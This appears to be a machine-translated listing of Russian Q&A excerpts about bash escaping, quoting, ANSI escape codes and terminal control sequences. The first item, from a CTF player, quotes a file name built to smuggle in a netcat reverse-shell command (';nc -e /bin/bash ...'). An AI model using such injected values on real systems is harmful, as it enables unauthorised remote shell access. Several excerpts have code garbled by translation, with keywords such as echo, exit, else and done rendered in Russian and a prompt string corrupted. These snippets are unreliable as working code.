1
ответ

Экранирование '/bin/bash' из имени файла

Я играю в CTF и хочу создать файл с именем ;nc -e /bin/bash 127.0.0.1 443 с помощью команды touch, и у меня не получается . Я могу без проблем создать файл с именем ;nc -e 127.0.0.1 443 ...
20.10.2019
1
ответ

Экранирование одинарных кавычек в команде сценария bash

Я пытаюсь написать сценарий, который должен выполнять команду, содержащую одинарные кавычки. Это команда, которую я пытаюсь выполнить в сценарии: srt-live-transmit udp://224.0.0.0:1234 (скрыто)
10.09.2019
1
ответ

Не удается избежать '?' символ в переменных (unix)

Я искал этот вопрос везде, но я не нашел его и, кажется, нет никакого ответа на мою текущую проблему, которая, честно говоря, не даже смысл. Итак, что же я...
14.06.2019
1
ответ

Почему я не вижу escape-последовательностей в перенаправленном потоке ИЛИ как реализован вывод цвета?

При запуске ls в терминале вывод окрашивается в разные цвета: насколько мне известно, это окрашивание выполняется с помощью последовательностей espace (vt). Но запуск ls | hexdump -cC показывает только символы и LF. Перенаправление на ...
12.06.2019
1
ответ

Использование `printf` для печати переменной, содержащей знак процента `%`, приводит к "bash: printf: `p': недопустимый символ формата"

Я хочу использовать printf для вывода переменной . Возможно, эта переменная содержит знак процента %. Минимальный пример: $ TEST="содержит % процентов" $ эхо "${ТЕСТ}" содержит % процентов $ printf ...
16.05.2019
1
ответ

Что означает ведущая часть стандартного PS1 Bash в Ubuntu?

Это $PS1 моей оболочки Bash на только что установленной Ubuntu 18.04: \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[ \033[01;32м\]\u@\h\[\033[00м\]:\[\033[01;34м\]\w\[\033[00м\] \$ Я могу ...
25.04.2019
1
ответ

Как заставить код интерпретировать $ но нет *? [закрыто]

У меня есть код Perl (не обращайте внимания на то, что он делает прямо сейчас, я все еще работаю над этим): #!/usr/bin/perl -w if(!@ARGV) { print("ОШИБКА: НЕТ ARGS\n"); выход 1; } еще { использовать Cwd qw(cwd); мой $dir ...
24.04.2019
1
ответ

Преобразование JSON с необработанными символами в строке.

Возникла проблема с инструментом, который генерировал недопустимый JSON. Некоторые строки JSON содержали символы в диапазоне от 00 до 1f. Поэтому я хотел преобразовать эти символы в правильно экранированные значения \...
25.03.2019
1
ответ

Понимание управляющих кодов

Я вижу это в своем .bashrc файле: $ PS1 =' {debian_chroot: $debian_chroot +() }\\[\033 [01; 32 м \]\u@\h \[\033 [00m \]:\[\033 [01; 34 м \]\w \[\033 [00m \]\$ 'и у меня нет абсолютно никакой идеи что все они...
09.03.2019
1
ответ

Цитирование ANSI C для табуляции и новой строки иногда не работает

Я пытаюсь использовать новую строку в bash. Я обнаружил, что для этого мне нужно цитирование ANSI C (т.е. $ '\ n'), но это часто не работает для меня. Так что мне интересно, что я делаю не так. # Это работает >> ...
20.12.2018
1
ответ

расширение с помощью символа escape

У меня проблемы с расширением из-за символа escape. UNF\1122 Сейчас я пытаюсь придерживаться очень простого примера: ps -ef | grep $USER В конце концов, после того, как я ...
26.11.2018
1
ответ

Вопрос BASH: могу ли я, используя чтение, записать один символ или клавишу со стрелкой (на клавиатуре)

Итак, вот моя сделка: работая в BASH, я уже создал функцию, которая отлично работает и принимает массив или любое количество параметров и выводит интерактивное меню, по которому можно перемещаться с помощью стрелок ...
07.11.2018
1
ответ

Стренить команду bash из массива аргументов для использование в «bash -c»

Я хотел бы преобразовать данную команду в строку в виде массива. Это было бы полезно, например, чтобы поместить команду в bash -c. Например: cmd = ("printf '% s \ n'" "foo bar" "baz bang" ) ...
15.10.2018
1
ответ

ANSI escape sequence ^[[K обрабатывается меньшим количеством -R, но не большим количеством

Я пишу обертку вокруг ack для локального поиска кода с дополнительными строками контекстного конвейера, подведенными к паджеру. Вот оберточный скрипт ackc. Между различными примерами я буду варьировать ...
14.07.2018
1
ответ

Правильный Escape echo -ne

Я вывожу команду echo -ne в файл в своем сценарии настройки для HID usb-мыши. Вот сценарий, который запускается от имени пользователя root через /etc/rc.local при загрузке: # здесь случайно появилась новая строка <...
10.07.2018
1
ответ

Почему нет необходимости экранировать последовательность, чтобы применить стиль к тексту в терминале внутри tmux?

Если я хочу, чтобы цвет ANSI 0 был красным, в терминале urxvt , Мне нужно передать последнему последовательность \ e] 4; 0; red \ a: printf '\ e] 4; 0; red \ a' Я нашел здесь общий синтаксис: OSC 4; c; spec BEL ...
12.02.2018
1
ответ

Почему при использовании кавычек отображается одинарная обратная косая черта

Я всегда думал, что bash одинаково обрабатывает обратную косую черту при использовании без или с двойными кавычками, но я ошибался: [user @ linux ~] $ echo "foo \" foo \ [user @ linux ~] $ echo foo \ # Пробел после \ foo ...
17.10.2017
1
ответ

Какие терминалы или эмуляторы терминалов поддерживают аппаратные окна?

Страница руководства terminfo(5) описывает набор возможностей wnum (максимальное количество определяемых окон), cwin (определение окна), wingo (переход к окну), wind (изменение размера текущего окна), но только один терминал..
12.09.2017
1
ответ

Как получить результаты из «\ 033 [6n» в сценарии sh

Мне потребовалось 10 часов поиска в сети и тестирования методов, чтобы получить результаты, которые работают в любой оболочке (#! / Bin / ш). В BASH это относительно просто, потому что при чтении можно сказать, сколько ...
28.08.2017
1
ответ

Механизм символа BELL '\ a'?

Я читаю книгу по программированию оболочки и узнаю, что следующие команды эквивалентны, которые издают звуковой сигнал на моем Mac, но не издают никакого звука в Ubuntu: $ echo $ '\ a' $ echo -e "\ a" $, однако в обоих ...
22.08.2017
1
ответ

Как использовать сеанс ssh без форматирования цвета

Как создать сеанс ssh с помощью ssh foo @ bar, кроме любого цветового формата? Единственное требование - этот параметр должен быть объявлен в команде ssh и не может быть установлен в файле конфигурации. Кстати, ...
19.08.2017
1
ответ

Поддерживают ли оболочки, кроме Bash и Zsh, цитирование ANSI-C? Например, $'string'

У меня есть сценарий оболочки, который использует следующее для печати зеленой галочки в выводе: col_green="\e[32;01m" col_reset="\e[39;49;00m" echo -e "Done ${col_green}✓${col_reset}" После прочтения ...
18.06.2017
1
ответ

Выход метасимволов в основном/расширенном posix regex представляет в виде строки в grep

Действительно ли возможно выйти из всех метасимволов строки в переменной прежде, чем передать его grep? Я знаю, что подобный вопрос задали прежде на SE (здесь) и также хорошем объяснении здесь, но мне...
23.05.2017
1
ответ

Как печать двоичного файла в моем терминале меняет отображение символов? [дубликат]

Я случайно запустил cat на двоичном файле. (Бывает). Обычно я наблюдаю поток случайных символов Юникода, когда нажимаю Ctrl + C. Иногда я слышу случайные звуки колокольчика, потому что в файле есть '\' 'a' ...
03.05.2017
1
ответ

tcsh - эхо-код escape для escape

Я пытаюсь программно создать файл, напечатав в нем разные вещи. (т.е. printf% s \\ n hostname >> file.txt) Я хотел бы отправить код Esc, чтобы очистить экран (это было бы ...
14.03.2017
1
ответ

unescape pipe в параметрах

я хочу написать сценарий bash, который принимает два параметра, запускает их как команды и выгружает их вывод в файлы. содержимое myscript.sh: $ 1> file1.tmp $ 2> file2.tmp Это отлично работает для ...
07.03.2017
1
ответ

Escaping _ $ (подчеркивание и знак доллара) [дубликат]

У меня есть этот сценарий Bash для i в 1 2 3 do for j in 4 5 6 do echo "hello_ $ i_ $ j" готово готово, но он печатает hello_4 привет_5 hello_6 три раза, тогда как (как вы можете догадаться) я хочу ...
22.02.2017
1
ответ

Как отменить экранирование вывода точки с запятой в выводе dig / nslookup в двойных кавычках?

При запросе записи DNS TXT, содержащей точку с запятой (;), с использованием как dig, так и nslookup версии 9.8 .3-P1, его текстовая запись выводится в формате вывода в двойных кавычках: Неавторизованный ...
01.02.2017
1
ответ

Уникальный разделитель, когда точка с запятой заменяется запятой в файлах CSV в средах Unix?

Машинное обучение Azure настаивает, чтобы я использовал запятую в качестве разделителя в файлах CSV, вместо точки с запятой. Это ломает многие вещи на компьютерах * ix, где мы используем точку с запятой, а в значениях ячеек много ...
25.01.2017
1
ответ

Деактивировать контрольный символ DCS

Эзотерические символы в именах файлов иногда приводят к странным ошибкам. Недавно я сделал резервные копии файлов с помощью rsync и заметил, что через несколько минут весь процесс вывода статуса остановился. Продолжая расследование, я ...
21.01.2017